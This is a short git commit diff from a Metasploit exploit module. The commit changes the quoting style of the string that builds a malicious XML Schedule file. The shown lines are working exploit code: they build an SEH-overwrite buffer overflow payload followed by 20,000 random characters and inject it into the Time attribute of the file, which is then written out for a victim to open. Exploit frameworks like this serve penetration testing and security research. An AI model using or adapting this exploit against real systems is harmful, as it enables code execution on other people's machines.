Use %Q for double-quoted string
parent
bb33a91110
commit
9be95eacb8
|
@ -70,10 +70,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
evil << generate_seh_payload(target.ret)
|
||||
evil << rand_text_alpha(20000)
|
||||
|
||||
sploit = "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>
|
||||
sploit = %Q|<?xml version="1.0" encoding="UTF-8" ?>
|
||||
<Schedule>
|
||||
<Event Url=\"\" Time=\"#{evil}\" Folder=\"\" />
|
||||
</Schedule>"
|
||||
<Event Url="" Time="#{evil}" Folder="" />
|
||||
</Schedule>|
|
||||
|
||||
# Create the file
|
||||
print_status("Creating '#{datastore['FILENAME']}' file ...")
|
||||
|
|
Loading…
Reference in New Issue